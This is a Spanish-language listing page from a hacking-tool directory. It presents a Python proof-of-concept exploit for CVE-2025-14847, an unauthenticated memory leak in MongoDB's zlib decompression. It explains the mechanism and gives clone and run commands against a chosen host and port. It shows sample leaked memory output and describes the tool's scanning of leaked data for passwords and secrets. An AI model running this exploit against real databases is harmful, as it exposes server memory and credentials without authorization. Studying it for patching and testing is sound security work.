Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-14847 — CVE-2025-14847 – Exploit de fuga de memoria sin autenticación en MongoDB | Kitploit
Herramientas/GitHubGitHub/lincemorado97/cve-2025-14847
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónExfiltración de DatosPruebas de PenetraciónSeguridad de Bases de Datos
GitHublincemorado97/cve-2025-14847

CVE-2025-14847

CVE-2025-14847 – Exploit de fuga de memoria sin autenticación en MongoDB

Ver Repositorio
13hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-14847 – Exploit de fuga de memoria no autenticada en MongoDB

Resumen

Una prueba de concepto (PoC) del exploit para la vulnerabilidad de descompresión zlib de MongoDB que permite a atacantes no autenticados leer memoria sensible del servidor. La PoC está implementada en Python 3 y demuestra cómo un paquete OP_COMPRESSED malicioso puede desencadenar el bug, provocando que MongoDB devuelva memoria no inicializada como datos BSON.


Qué hace el exploit

La vulnerabilidad es causada por un fallo en la descompresión de mensajes zlib de MongoDB:

  1. Se envía un mensaje comprimido con una declaración inflada de uncompressedSize.
  2. MongoDB asigna un búfer grande basado en ese valor inflado.
  3. zlib descomprime los datos reales al inicio de ese búfer.
  4. MongoDB trata todo el búfer como datos válidos, lo que provoca la lectura de memoria no inicializada.
  5. El análisis BSON entonces lee "nombres de campo" de esa memoria hasta que se encuentra un byte nulo, exponiendo datos ocultos.

La PoC envía un paquete OP_COMPRESSED manipulado y analiza la respuesta de error del servidor para recuperar fragmentos de datos filtrados.


Requisitos previos

ComponenteVersiónNotas
Python≥ 3.8El script es solo para Python 3
MongoDB≥ 4.4El objetivo debe ser vulnerable a CVE‑2025‑14847
Opcional

Instalación

root@kitploit:~
# Clonar el repositorio (o copiar el script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847

# (Opcional) Instalar paquetes Python requeridos
pip install -r requirements.txt

Uso

root@kitploit:~
python exploit.py [OPCIONES]

Ejemplo:

root@kitploit:~
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin

Ejemplo

root@kitploit:~
$ python3 exploit.py 
11:02:41 CVE-2025-14847     INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847     INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:41 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847     INFO │ 00000000:  20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b  | object with unk|
11:02:41 CVE-2025-14847     INFO │ 00000010:  6e 6f 77 6e 20 5f 69 64                          |nown _id|
11:02:41 CVE-2025-14847     INFO │ [+] offset=  39 len=  24:
11:02:45 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:45 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847     INFO │ 00000000:  73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67  |s skipped during|
11:02:45 CVE-2025-14847     INFO │ 00000010:  20 74 72 65 65 20 77 61 6c 6b                    | tree walk|
11:02:45 CVE-2025-14847     INFO │ [+] offset=3064 len=  26:
11:02:50 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
....
11:02:50 CVE-2025-14847     INFO │ [+] offset=6663 len=  38:
11:02:52 CVE-2025-14847  SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847  SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847  SUCCESS │ [*] Saved to: leaked.bin

El script registrará cada fragmento interesante (longitud > 10 bytes) y mostrará una vista hexadecimal. Todos los datos filtrados se añaden a leaked.bin.

demo


Comprender la salida

  • Volcado hexadecimal: Muestra un subconjunto de los datos filtrados tanto en hexadecimal como en ASCII.
  • Líneas de registro: [+] offset= <doc_len> len= <len> indica dónde se encontró un fragmento.
  • Total filtrado: Bytes escritos en el archivo de salida.
  • Fragmentos únicos: Bloques de datos distintos detectados.
  • Detección de secretos: El script imprime cualquiera de los patrones predefinidos (password, secret, etc.) encontrados en los datos filtrados.

Referencias

  • CVE-2025-14847 – https://nvd.nist.gov/vuln/detail/CVE-2025-14847
  • Análisis: https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/

Descargo de responsabilidad

Esta PoC se proporciona "tal cual" sin ninguna garantía. El autor no es responsable de ningún uso indebido o daño causado por este script. Úselo bajo su propio riesgo.

Descargar herramienta
requirements.txt
Incluido en el repositorio
OpciónValor por defectoDescripción
--hostlocalhostHost de MongoDB objetivo
--port27017Puerto de MongoDB objetivo
--min-offset20Longitud mínima de documento a sondear
--max-offset8192Longitud máxima de documento a sondear
--outputleaked.binArchivo donde se guardan los datos filtrados